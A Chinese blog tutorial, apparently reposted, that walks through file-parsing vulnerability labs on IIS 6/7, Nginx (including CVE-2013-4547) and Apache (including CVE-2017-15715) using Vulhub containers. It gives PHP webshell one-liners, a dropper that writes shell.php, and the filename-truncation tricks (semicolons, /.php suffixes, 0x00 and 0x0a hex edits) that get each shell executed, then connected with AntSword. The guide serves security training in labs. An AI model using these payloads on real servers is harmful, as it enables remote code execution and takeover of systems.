当前位置: 首页 > article >正文

文件解析漏洞靶场---解析详解

⽂件解析漏洞是由于中间件错误的将任意格式的⽂件解析成⽹⻚可执⾏⽂件,配合⽂件上传漏洞进⾏ GetShell的漏洞!

一、IIS解析漏洞  3个

1. IIS6.X       2个

环境需求:windows2003+iis6

安装windows2003;

安装iis:控制⾯板--添加或删除程序---添加/删除windows组件,点击“应用程序服务器”---勾选所有服务,点击确定,安装完成。 

⽹站路径默认为 c:/inetpub/wwwroot

1.1  目录解析

在iis6.x中,.asp⽂件夹中的任意⽂件都会被当做asp⽂件去执⾏。
(1)在iis的⽹站根⽬录新建⼀个名为a.asp的⽂件
(2)在该文件中新建一个1.jpg文件,在记事本打开,写入asp代码语句:<% =now()%>

now()函数,显示当前时间

(3)访问该文件:http://ip/a.asp/1.jpg

发现将1.jpg文件当做asp文件执行了

(4)将1.jpg复制到www目录下,访问,发现未执行   证明存在解析漏洞

1.2   畸形⽂件解析  

在IIS 6 处理⽂件解析时, 分号可以起到截断的效果。也就是说 shell.asp;.jpg会被服务器看成是 shell.asp。另外IIS6.0默认的可执⾏⽂件除了asp还包含 asa\cer\cdx

 (1)在网址根目录,写入一个文件2.asp;.jpg     asp代码:<% =now()%>

(2)浏览器访问该文件,发现   asp代码执行

1.3 其他程序扩展名  .asa    .cer    .cdx  等等

asp代码:<% =now()%>     保存文件为test.cer

浏览器访问该文件,发现asp代码仍被执行,存在文件解析漏洞

2.  IIS7.X

在IIS7.0和IIS7.5版本下也存在解析漏洞,在默认Fast-CGI开启状况下,在⼀个⽂件路径/xx.jpg 后⾯加上/xx.php会将 /xx.jpg/xx.php 解析为 php ⽂件

环境:使用Windows10的iis服务和其中的CGI+phpStudy4iis

安装phpStudy4iis:

官网下载:Windows版phpstudy下载 - 小皮面板(phpstudy)

注意一定是  phpStudy for IIS版。

解压后,安装这两个exe文件

打开程序后,选择一个php版本,并修改对应版本的php.ini配置文件中:

安装IIS的CGI

2.1.    打开服务phpstudy2016

2.2  点击处理程序映射---找到phpStudy_FastCGI---双击---请求限制,去掉映射的勾选,然后将目录浏览打开:点击右侧的启用

2.3  绑定ip,端口,重启服务phpstudy2016,

2.4  网址根目录下写入一句话木马文件,浏览器访问http://ip:8980,点击shell.jpg

2.5   上一步的url后面加上/.php,文件被执行

 2.6 蚁剑尝试连接,连接成功

二、Nginx解析漏洞    2个

安装docker:yum install docker

安装docker-compose:yum install docker-compose

开启docker服务:systemctl start docker

1. nginx_parsing

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置⽂件中有⼀个关键的选项cgi.fix_pathinfo默认是开启的,当URL中有不存在的⽂件,PHP就会向前递归解析。在⼀个⽂件/xx.jpg后⾯加上/.php会将 /x x.jpg/xx.php 解析为 php ⽂件。

1.1  进⼊以下Vulhub路径并开启容器

cd /nginx/nginx_parsing_vulnerability    //切换至该目录中
docker-compose up -d    //打开靶场环境
docker ps -a

注意:如果 docker-compose up -d执行出现错误error,可能是服务未开启。
输入:systemctl start docker后,再输入: docker-compose up -d

如果出现超时错误,腾讯云无法解决,阿里云的可以使用镜像加速,如何做请参考其他文章,本文不做解释。【因为是借用其他人的靶场练习的】

1.2  浏览器,通过  http://ip:端口/   访问靶场

以80端口为例

1.3  制作图⽚⻢并进⾏上传,获取上传⽂件地址

GIF89a
<?php @eval($_POST['cmd']);?>

1.4 访问上传文件1.jpg

http://ip/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/.php

1.5  蚁剑连接成功

2.CVE-2013-4547

2.1开启靶场环境,并访问,端口为8080

#启动靶场

cd vulhub-master/nginx/CVE-2013-4547x //切换到靶机⽬录

docker-compose up -d //打开环境

访问靶场:ip:8080

2.2 准备上传的木马文件shell.jpg,上传,进行BP拦截数据包

输入:<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

2.3 修改文件名,编码实现截断符

将数据包发送到重放器,修改文件为shell.jpg空格空格.php

在.jpg后⾯添加两个空格并给上 .php 后缀,在16进制修改中将原本两个空格的 0x20
0x20 修改为如下即 0x20 0x00 进⾏发包
上传成功

访问上传的文件

ip/uploadfiles/shell.jpg

拦包,修改如下:由于url会将其编码,需要继续抓包修改 0x20 0x20为 0x20 0x00

2.4   访问/uploadfiles/shell.php

2.5  蚁剑连接木马

三、Apache解析漏洞    2个

1.  apache_parsing

1.1 开启靶场环境,同其他关卡一样   

1.2 写入木马shell.php.jpg,访问靶场  端口为81,上传文件

<?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"]);?>')?>

保存为shell.php.jpg文件

1.3  上传成功,直接访问

1.4  蚁剑连接

2.   CVE-2017-15715

2.1 开启靶场环境,访问靶场    上传文件

2.2 在evil.php⽂件后⾯添加空格 0x20 在改为 0x0a 再次返送即可上传成功

2.3 访问上传的文件,后⾯加上 %0A  解析了php文件   存在漏洞

2.4  蚁剑连接成功


http://www.kler.cn/a/589998.html

相关文章:

  • 利用hexo+github部署属于自己的个人博客网站(2025年3月所写)
  • 实现电商网站商品检索
  • UBuntu虚拟机上的redis服务突然消失了
  • 图形编辑器基于Paper.js教程25:材料测试矩阵功能的实现
  • [算法] 贪心--矩阵消除游戏
  • MyBatis SqlSession 是如何创建的? 它与 SqlSessionFactory 有什么关系?
  • 【Android】ListView控件在进入|退出小窗下的异常
  • 【xv6操作系统】页表与写时拷贝解析及相关实验设计
  • TiDB删除大量数据需要注意什么
  • RabbitMQ支持的复杂的消息交换模式
  • HTML中滚动加载的实现
  • 大文件上传实现
  • 推理大模型的后训练增强技术-从系统1到系统2:大语言模型推理能力的综述
  • 安卓屏保调试
  • 机试题——Devops 系统任务调度问题
  • 探索具身多模态大模型:开发、数据集和未来方向(下)
  • Node.js系列(1)--架构设计指南
  • Oracle 19c数据库REDO日志更换
  • 深度学习技巧
  • 【位运算】速算密钥:位运算探秘